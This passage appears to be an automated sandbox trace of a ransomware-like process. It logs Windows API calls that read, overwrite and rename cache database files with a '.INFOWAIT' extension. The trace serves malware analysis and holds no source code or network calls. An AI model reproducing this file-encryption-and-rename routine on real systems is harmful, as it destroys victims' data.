Users\\Microsoft\\Windows\\Caches\\cversions.2.db.INFOWAIT" [0131.587] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\cversions.2.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\cversions.2.db.infowait")) returned 1 [0131.588] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.589] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.589] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.589] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.590] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x418 [0131.590] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.590] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.590] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x418, lpOverlapped=0x0) returned 1 [0131.685] VirtualAlloc (lpAddress=0x0, dwSize=0x418, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.686] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.686] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x418, lpOverlapped=0x0) returned 1 [0131.686] CloseHandle (hObject=0xad0) returned 1 [0131.686] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" [0131.686] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.INFOWAIT" [0131.686] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db.infowait")) returned 1 [0131.690] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.690] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.691] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.691] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.691] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4c0 [0131.691] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.691] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.691] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4c0, lpOverlapped=0x0) returned 1 [0131.692] VirtualAlloc (lpAddress=0x0, dwSize=0x4c0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.693] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.693] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4c0, lpOverlapped=0x0) returned 1 [0131.693] CloseHandle (hObject=0xad0) returned 1 [0131.693] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" [0131.693] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.INFOWAIT" [0131.693] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db.infowait")) returned 1 [0131.694] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.694] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.695] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.695] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.695] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x908 [0131.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.695] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x908, lpOverlapped=0x0) returned 1 [0131.696] VirtualAlloc (lpAddress=0x0, dwSize=0x908, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.697] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x908, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x908, lpOverlapped=0x0) returned 1 [0131.697] CloseHandle (hObject=0xad0) returned 1 [0131.697] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" [0131.697] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.INFOWAIT" [0131.697] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db.infowait")) returned 1 [0131.697] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.698] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.698] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.699] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x418 [0131.699] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.699] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.699] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x418, lpOverlapped=0x0) returned 1 [0131.700] VirtualAlloc (lpAddress=0x0, dwSize=0x418, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.700] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.700] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x418, lpOverlapped=0x0) returned 1 [0131.700] CloseHandle (hObject=0xad0) returned 1 [0131.701] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" [0131.701] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.INFOWAIT" [0131.701] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db.infowait")) returned 1 [0131.701] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.702] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.702] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.702] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.702] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x908 [0131.702] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.703] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.703] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x908, lpOverlapped=0x0) returned 1 [0131.705] VirtualAlloc (lpAddress=0x0, dwSize=0x908, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.705] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.705] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x908, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x908, lpOverlapped=0x0) returned 1 [0131.705] CloseHandle (hObject=0xad0) returned 1 [0131.705] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" [0131.705] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.INFOWAIT" [0131.705] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db.infowait")) returned 1 [0131.706] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.706] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.707] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.707] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.707] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f390 [0131.707] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.707] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.707] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0131.728] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0131.740] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.740] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0131.741] CloseHandle (hObject=0xad0) returned 1 [0131.741] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" [0131.741] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.INFOWAIT" [0131.741] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db.infowait")) returned 1 [0131.742] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.742] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.743] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.743] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.743] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f5f0 [0131.744] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.744] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.744] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0131.849] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0131.858] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.858] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0131.859] CloseHandle (hObject=0xad0) returned 1 [0131.859] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" [0131.859] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.INFOWAIT" [0131.859] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db.infowait")) returned 1 [0131.860] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.861] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.861] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) 